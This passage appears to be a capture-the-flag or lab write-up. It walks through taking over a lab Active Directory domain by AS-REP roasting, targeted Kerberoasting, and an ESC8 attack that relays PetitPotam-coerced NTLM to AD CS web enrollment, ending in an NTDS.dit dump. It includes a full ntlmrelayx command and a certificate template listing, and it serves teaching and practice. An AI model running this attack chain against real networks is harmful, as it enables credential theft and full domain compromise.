* Ok, we know that we have a list of users. Perhaps there is a user that has "Do Not Require Pre-Auth" flag set and thus we could perform an AS-REP Roast to gain access to a users password hash. After running the command, we get a hash back for user 'jtrueblood'. This looks promising:

<figure><img src="https://3310166020-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FK0Ny7JEeHiZzpI1LeGhC%2Fuploads%2F76hT4Xa2iW6zuQW1ZZyT%2Fimage.png?alt=media&amp;token=92e511df-2694-45f9-ac10-d30a6594a059" alt=""><figcaption></figcaption></figure>

* We can crack the hash:

<figure><img src="https://3310166020-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FK0Ny7JEeHiZzpI1LeGhC%2Fuploads%2FvVEaG0qF4OX68hD1Y9R2%2Fimage.png?alt=media&amp;token=0f7bd412-1bad-451a-bd3f-124ec5483d33" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3310166020-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FK0Ny7JEeHiZzpI1LeGhC%2Fuploads%2FI4hI2l88kEnBQoRAY2YM%2Fimage.png?alt=media&amp;token=bf334646-0b26-4180-a3be-dbb3012335d6" alt=""><figcaption></figcaption></figure>

## Bloodhound Enumeration

* We can see that user 'jtrueblood' has GenericWrite permissions over user 'bbrown':

<figure><img src="https://3310166020-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FK0Ny7JEeHiZzpI1LeGhC%2Fuploads%2FpR4QOvsjiGFATLSu93AH%2Fimage.png?alt=media&amp;token=52f7cbd0-94de-40f6-9995-b66ef8142def" alt=""><figcaption></figcaption></figure>

* 'bbrown' is a member of the ADCS-READER group:

<figure><img src="https://3310166020-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FK0Ny7JEeHiZzpI1LeGhC%2Fuploads%2FTUuGbCtENv6JDjuziymj%2Fimage.png?alt=media&amp;token=412d277b-44b2-4753-873e-d661bf145f4c" alt=""><figcaption></figcaption></figure>

## Gaining Access as User 'bbrown' - TargetedKerberoast

* Since we have GenericWrite permissions over bbrown, we can perform a targetedKerberoast attack on this user and gain access to the users RC4 hash:

<figure><img src="https://3310166020-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FK0Ny7JEeHiZzpI1LeGhC%2Fuploads%2FZbhSEFBu8cLEODejnzD0%2Fimage.png?alt=media&amp;token=89226501-8b61-46ab-b084-84f23385cf6e" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3310166020-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FK0Ny7JEeHiZzpI1LeGhC%2Fuploads%2FAje5rP1507NhAimPIzdv%2Fimage.png?alt=media&amp;token=9e7b644a-f0c6-4f6e-b7ba-a3da6b09768d" alt=""><figcaption></figcaption></figure>

* We can crack the password. What a terrible password this is!:

<figure><img src="https://3310166020-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FK0Ny7JEeHiZzpI1LeGhC%2Fuploads%2FmreAd82fsHkop7rLOJyT%2Fimage.png?alt=media&amp;token=df3ae0e9-c6c8-48ba-bc52-8eb914476c25" alt=""><figcaption></figcaption></figure>

## Certificate Enumeration with Certipy

* Looking at the AD CS certificates, we can see that web enrollment is enabled over HTTP and that there is a template that is possibly able to be exploited. My mind goes to the possibility of an ESC8 vulnerability:

<figure><img src="https://3310166020-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FK0Ny7JEeHiZzpI1LeGhC%2Fuploads%2FDo4wVzNEvcWwfMo4CYBa%2Fimage.png?alt=media&amp;token=8874ec1c-1c69-4cc6-9c35-9c862d913374" alt=""><figcaption></figcaption></figure>

## Understanding ESC8 Vulnerability

* ESC8 stems from a misconfiguration in AD CS stemming from insufficiently protected web enrollment services. If web enrollment services are not hosted over HTTPS with Channel Binding, then NTLM auth attempts can be relayed to the web enrollment service to request certificates for other domain principals <https://docs.specterops.io/ghostpack-docs/Certify.wik-mdx/esc8-ntlm-relay-to-ad-cs-http-endpoints.>
* As we saw previously, web enrollment over HTTP was enabled, which makes this attack possible. As the attacker, we can redirect/relay authentication to a destination we choose. In this case, we coerce NTLM from the victim machine (In this case the DC) to authenticate to a destination that we control (Our Kali machine) and then relay this authentication to the AD CS web enrollment host.
* The attack chain is as follows: We will use the NTLM coercion method PetitPotam to elicit NTLM authentication from a domain controller. That NTLM authentication is then relayed to the vulnerable AD CS web enrollment endpoint with ntlmrelayx. The relay attack requests a certificate for the domain controller. That certificate is then used to request a Kerberos TGT as the domain controller. <https://www.crowe.com/insights/crowe-cyber-watch/exploiting-ad-cs-a-quick-look-at-esc1-esc8>

## ESC8 Attack

* Given that we have the vulnerable web enrollment enabled over HTTP, we need a template that will allow machine/computer enrollment. In this case, the DomainController template will work nicely.

{% code overflow="wrap" expandable="true" %}

```
  18
    Template Name                       : DomainController
    Display Name                        : Domain Controller
    Certificate Authorities             : shadow-DC01-CA
    Enabled                             : True
    Client Authentication               : True
    Enrollment Agent                    : False
    Any Purpose                         : False
    Enrollee Supplies Subject           : False
    Certificate Name Flag               : SubjectAltRequireDirectoryGuid
                                          SubjectAltRequireDns
                                          SubjectRequireDnsAsCn
    Enrollment Flag                     : IncludeSymmetricAlgorithms
                                          PublishToDs
                                          AutoEnrollment
    Extended Key Usage                  : Client Authentication
                                          Server Authentication
    Requires Manager Approval           : False
    Requires Key Archival               : False
    Authorized Signatures Required      : 0
    Schema Version                      : 1
    Validity Period                     : 1 year
    Renewal Period                      : 6 weeks
    Minimum RSA Key Length              : 2048
    Template Created                    : 2026-01-12T03:00:32+00:00
    Template Last Modified              : 2026-01-15T01:57:45+00:00
    Permissions
      Enrollment Permissions
        Enrollment Rights               : SHADOW.GATE\Enterprise Read-only Domain Controllers
                                          SHADOW.GATE\Domain Admins
                                          SHADOW.GATE\Domain Controllers
                                          SHADOW.GATE\Enterprise Admins
                                          SHADOW.GATE\Enterprise Domain Controllers
      Object Control Permissions
        Owner                           : SHADOW.GATE\Enterprise Admins
        Full Control Principals         : SHADOW.GATE\Domain Admins
                                          SHADOW.GATE\Enterprise Admins
        Write Owner Principals          : SHADOW.GATE\Domain Admins
                                          SHADOW.GATE\Enterprise Admins
        Write Dacl Principals           : SHADOW.GATE\Domain Admins
                                          SHADOW.GATE\Enterprise Admins
        Write Property Enroll           : SHADOW.GATE\Domain Admins
                                          SHADOW.GATE\Domain Controllers
                                          SHADOW.GATE\Enterprise Admins
                                          SHADOW.GATE\Enterprise Domain Controllers
```

{% endcode %}

* I will start by setting up ntlmrelay pointed at the AD CS web enrollment URL using the specified template:

{% code overflow="wrap" expandable="true" %}

```
impacket-ntlmrelayx -smb2support --target 'http://DC01.shadow.gate/certsrv/certfnsh.asp' --adcs --template DomainController
```

{% endcode %}

<figure><img src="https://3310166020-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FK0Ny7JEeHiZzpI1LeGhC%2Fuploads%2Fy8ZDfiwogPRbKuSsKYiX%2Fimage.png?alt=media&amp;token=809d9d1d-ec46-4d4b-81ab-d769aeb2310b" alt=""><figcaption></figcaption></figure>

* Next, we will use PetitPotam to have the target DC authenticate to our Kali host and that NTLM authentication will then be relayed to the CA and request a certificate on behalf of the DC01$ machine account:

<figure><img src="https://3310166020-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FK0Ny7JEeHiZzpI1LeGhC%2Fuploads%2FTG0TfCzBvPAiCaI6dQop%2Fimage.png?alt=media&amp;token=9301c8d0-cfac-41d9-bbfb-9eb72f25fedf" alt=""><figcaption></figcaption></figure>

* Result of the authentication relay:

<figure><img src="https://3310166020-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FK0Ny7JEeHiZzpI1LeGhC%2Fuploads%2FIxvECV0c76XxDMfSndvw%2Fimage.png?alt=media&amp;token=405d1c7c-9bca-43c3-9812-b88275c038c4" alt=""><figcaption></figcaption></figure>

* Next, we will take this pfx file and use 'certipy-ad auth' to auth to the DC and get the NT hash of the DC01$:

<figure><img src="https://3310166020-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FK0Ny7JEeHiZzpI1LeGhC%2Fuploads%2Forv7Aa2yemdxuW0C4d8I%2Fimage.png?alt=media&amp;token=87667fb0-188e-49b2-8085-6d906d87ae94" alt=""><figcaption></figcaption></figure>

## Dumping NTDS.dit

* At this point, we can now use the DC01$ machine account privileges to dump the NTDS.dit and gain access to the KRBTGT hash. To do this, I exported the ccache file for the DC01$ and then used Netexec:

<figure><img src="https://3310166020-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FK0Ny7JEeHiZzpI1LeGhC%2Fuploads%2F61ATv3YGzTd8A2bCjAkQ%2Fimage.png?alt=media&amp;token=85f32c35-6778-4615-8d30-c8b36b441af7" alt=""><figcaption></figcaption></figure>

## Resources

### ESC8 Vulnerability

* <https://medium.com/@samet.kocats/lab-report-13-abusing-adcs-via-ntlm-relaying-esc8-336b09a6d24d>
* <https://www.crowe.com/insights/crowe-cyber-watch/exploiting-ad-cs-a-quick-look-at-esc1-esc8>
* <https://docs.specterops.io/ghostpack-docs/Certify.wik-mdx/esc8-ntlm-relay-to-ad-cs-http-endpoints>
* <http://iam0xc4t.medium.com/esc2-ad-cs-misconfigurations-exploitation-active-directory-pentesting-c3e1740ca8da>